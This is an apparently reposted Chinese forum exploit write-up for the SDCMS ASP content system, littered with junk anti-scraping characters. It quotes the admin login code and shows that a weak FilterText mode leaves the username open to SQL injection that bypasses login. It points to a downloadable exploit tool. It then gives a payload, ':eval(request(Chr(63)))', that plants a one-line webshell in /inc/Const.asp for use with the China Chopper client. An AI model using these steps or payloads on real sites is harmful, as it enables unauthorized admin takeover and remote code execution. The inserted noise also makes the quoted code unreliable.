作者:T00LS 鬼哥1 D7 G8 r6 s% P3 V
漏洞文件:后台目录/index.asp0 R) M7 L+ A& Z0 X
8 E- ^# j0 }: p2 a3 j* w3 lSub Check
- R7 Z8 e% j1 |! n# K- \ Dim username,password,code,getcode,Rs
( W+ W' K* Z$ j IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
$ o( v: J: V0 P3 k+ o username=FilterText(Trim(Request.Form("username")),1)4 B$ \. |: \& I6 v" ?. y
password=FilterText(Trim(Request.Form("password")),1)
& Q) _$ @. |- Z: G% h code=Trim(Request.Form("yzm")) X: d6 r- B" y; G
getcode=Session("SDCMSCode")1 X& C# }, Y5 Y$ }; i0 b y% H( r, O
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
! L8 N" h6 v: q( Y! g3 L. r IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied# U$ A; ]- E" W4 r
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
( S' P$ K. r- [- I) }# `2 t IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
0 p t4 F8 [' ^- [8 Q ? IF username="" or password="" Then
8 g6 n% i% C; H" x- H' p2 C Echo "用户名或密码不能为空" ied
8 Y2 F7 }" }6 Q' H8 e Else; _5 j4 u( o3 Y j7 v- l
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
0 p. ?) p7 E# V' V; q2 ? IF Rs.Eof Then
" `5 c T5 ]$ c/ l5 j u7 p5 a& @: h AddLog username,GetIp,"登录失败",1& U' O4 V. `6 [' ^; l1 `! a$ Z
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
; `& l& u* ~, h. P Else6 n. A# B; @0 ^7 ^3 A! V
Add_Cookies "sdcms_id",Rs(0)
$ h. q" d5 N- d, z6 q/ ~ Add_Cookies "sdcms_name",username; M4 o, L* @) R$ B
Add_Cookies "sdcms_pwd",Rs(2)
) g W" {! i& c* k+ u Add_Cookies "sdcms_admin",Rs(3)
1 @& X7 |3 J n5 @4 c8 U Add_Cookies "sdcms_alllever",Rs(4)) \& K& w& t" M3 }3 S' x- _. y
Add_Cookies "sdcms_infolever",Rs(5); R& d! `0 [) {# ?, H
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
- [) a% k7 ^/ l0 \, j$ ` AddLog username,GetIp,"登录成功",1
w9 F# a; p' D! O$ S" c2 ~9 m* n '自动删除30天前的Log记录
; K% L6 N5 R) e/ j0 T8 M IF Sdcms_DataType Then
: R7 H0 ^9 V% L H Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
7 L, u8 p3 a+ K, ^ J Else p1 [$ }- r$ [1 [% `" N1 o
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
T9 g9 Y, [1 N End IF
% p" S, L) E' ^ V1 A; [ Go("sdcms_index.asp")
8 x( w3 _2 n# R, r' Z- j+ h! s End IF) ]$ Y/ @/ e3 U: |" D) l
Rs.Close/ ~8 _" Z( t) O
Set Rs=Nothing! a0 w. K5 L8 S& k
End IF
4 C: W& k; h- _8 H: P1 {6 v% d, r- O! cEnd Sub" |1 A% t/ x2 V% {3 ]
' W' [# Y; x& q6 o+ A
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码& I- W' m0 r, C: j
" V" j5 x3 J* zFunction FilterText(ByVal t0,ByVal t1)
& }* i5 G& q& q( o( s0 Z$ ? IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function B6 P' q7 d/ i3 S, H# T# q9 r* W
t0=Trim(t0)
5 S! Y9 i3 N& h1 o) m& @* n Select Case t13 J# c" Q8 f% G# J R
Case "1"
# O% l" p7 X" r; L t0=Replace(t0,Chr(32),"")
9 `" {0 h( ]' ]% |1 T# r$ X, f t0=Replace(t0,Chr(13),"")' A' E! i# h& y9 N+ t
t0=Replace(t0,Chr(10)&Chr(10),"")
. q0 t+ ?2 B, p* c t0=Replace(t0,Chr(10),"")
, H! Z; m% @4 O: K1 U Case "2"3 s8 D3 P/ ~/ ?$ o9 s$ p, i" C; L
t0=Replace(t0,Chr(8),"")'回格, O5 C k& w7 J6 |
t0=Replace(t0,Chr(9),"")'tab(水平制表符)" X# O7 g- r$ L. G! a
t0=Replace(t0,Chr(10),"")'换行
2 h- k; Z& y' } V& j7 @! n t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
& K! C- b) L$ k2 a4 B% ], r* m t0=Replace(t0,Chr(12),"")'换页
3 H+ }" `7 j# k1 r t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
) J5 ?- v0 ^ w- I; E2 o t0=Replace(t0,Chr(22),"")
. Z, P) ]5 x# Y4 B5 P3 |% i t0=Replace(t0,Chr(32),"")'空格 SPACE
( X: V7 t+ |1 X/ z8 @0 Q t0=Replace(t0,Chr(33),"")'!
9 ^2 N7 _# v4 k+ q" E0 s t0=Replace(t0,Chr(34),"")'"
* J3 }2 h. [# [2 o t0=Replace(t0,Chr(35),"")'#" c% O; ]8 i; R2 N
t0=Replace(t0,Chr(36),"")'$
$ @9 f u% d1 K+ w2 y* P3 V* K t0=Replace(t0,Chr(37),"")'%
- x6 c! Z. L( n: ?4 G9 j t0=Replace(t0,Chr(38),"")'&+ ?0 w3 C; T0 u
t0=Replace(t0,Chr(39),"")''- Q+ U' D( W# ^8 T* C
t0=Replace(t0,Chr(40),"")'(
) P0 \' k2 c0 B9 q5 `) R* q/ S$ N5 A t0=Replace(t0,Chr(41),"")')7 D5 B" O& g+ M" O0 G# [! Q9 X
t0=Replace(t0,Chr(42),"")'*8 b# V( V5 w' d
t0=Replace(t0,Chr(43),"")'+0 b9 b# b+ b- H5 L# L' U
t0=Replace(t0,Chr(44),"")',: S6 b7 z: p( c- L3 _
t0=Replace(t0,Chr(45),"")'-
* H T! J7 V1 E/ Q |+ z1 A t0=Replace(t0,Chr(46),"")'.% b2 o! @! A* f2 _( S0 z
t0=Replace(t0,Chr(47),"")'/) [3 y6 l0 ]# n' b. p6 c; U
t0=Replace(t0,Chr(58),"")':& u" v s# m. n6 C
t0=Replace(t0,Chr(59),"")';
# T: l$ d/ {: j! B1 @7 C5 _( @2 L t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>; Q+ r' Z6 U9 a% l. k5 B
t0=Replace(t0,Chr(63),"")'?: q" a2 {7 K' v# |, w, Z( N
t0=Replace(t0,Chr(64),"")'@
0 {, ~* x, g6 Z+ v6 l3 s' Q& U t0=Replace(t0,Chr(91),"")'\* Q: l! ?' A: A- _; S7 G
t0=Replace(t0,Chr(92),"")'\7 X; q) D( @0 A
t0=Replace(t0,Chr(93),"")']) s3 I! [- W) r# F: k
t0=Replace(t0,Chr(94),"")'^$ A4 `5 L4 y6 L! L/ i7 T- L
t0=Replace(t0,Chr(95),"")'_/ |( U. S4 i& e* @6 Z% a7 m8 B
t0=Replace(t0,Chr(96),"")'`
. X! e3 t/ Q2 R: T) i& r* N t0=Replace(t0,Chr(123),"")'{
7 s# Y' P0 J: D: p$ `$ T t0=Replace(t0,Chr(124),"")'|
3 ^" y# N( V, [: A: q% }* j q t0=Replace(t0,Chr(125),"")'}& I2 g/ _& H4 E; b7 V' P
t0=Replace(t0,Chr(126),"")'~: ^% J, J7 I9 a. @, U# D2 y
Case Else9 P* E0 z2 O7 U" J0 ?4 R3 T8 T
t0=Replace(t0, "&", "&")4 C2 X' ]- L( |# i6 Z
t0=Replace(t0, "'", "'")7 F: U/ a x( x7 p
t0=Replace(t0, """", """)
: ] F# U. ^" g* h6 Z7 [; v' x% J t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">"), u. Y, N# F1 J9 I
End Select- z' q* [0 p! E5 x4 l- P: f
IF Instr(Lcase(t0),"expression")>0 Then
; T" W) P4 }# }. F8 P t0=Replace(t0,"expression","e­xpression", 1, -1, 0) D6 j- Z' G0 x: e! E
End If
* f7 K, V- E* M. r4 K2 ~6 ?% L FilterText=t0& }# q, t( c. ]; ~* `
End Function
9 }( w/ j5 S/ v9 x" ]9 l: c e% j+ M3 w' M
. z6 Y% x/ D; r( K. g7 {1 [9 j看到没。直接参数是1 只过滤
6 g! D! n4 ^ ]8 W. z5 } S4 ` t0=Replace(t0,Chr(32)," ")
: ]* o/ i+ Q2 `2 Z1 I' G8 ? t0=Replace(t0,Chr(13),"")
* j3 c: M2 z. l" u+ U t0=Replace(t0,Chr(10)&Chr(10),"
" n' N! t, K+ } N7 h7 w" A( n& X")
; P5 H! l9 K1 U3 o- q' n( q. J t0=Replace(t0,Chr(10),"2 b$ ], \1 J% d
")
2 u$ h. h& r0 |- C漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!9 @ [: z& L- Z5 L
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP, u9 t0 N. I7 Y/ F
/ f0 b+ j* N7 U3 ]: @- A测试:' H# O8 k' _( x: V# ]( r2 j
% B3 G( j0 D6 y$ S' R- `
4 a. T/ f9 O4 b2 }( f现在输入工具上验证码,然后点OK
- W, Y( ^7 t2 v" L& e
/ |: {, A# O3 E, w9 U) }
3 B4 [* ?+ n! L# f看到我们直接进入后台管理界面了,呵呵!
4 `' `4 ?/ o6 C% h( L2 F* b' k
X, B$ a/ `5 K5 [+ n" f$ g$ {9 \4 s5 s
, G L% }( Q8 p
这样直接进入后台了。。。。% Y8 o. S9 v7 h' e: ~+ `! M6 }; `3 M
' b9 c9 j3 G* N5 a
8 U8 A ~7 m( d# l4 x
( z3 ?# o+ p" V% O% R0 R! xSDCMS提权:1 g& K# l, A/ n( |1 h2 b
x8 E) Q* A2 |. j& F. g6 l: W方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?1 e8 _- H$ u; u: K& o2 K
) I8 H4 | x9 i; M# Z. n) m& h
0 C% [, l# A* E: U+ G2 c% P) \4 r$ |( N6 f" M
OK,现在用菜刀连接下!- V$ V' B- d" I; c# Q- v: C
: H6 l j3 g, }. n. A9 ]2 l. Z- B2 Q$ B# b& z* h/ k
# K5 H7 ?# S' T4 }5 _* D. X$ h0 I
( D) ~: f5 B) ~3 |% e) }3 q' d
* _% k- i6 z6 o/ c8 I9 v |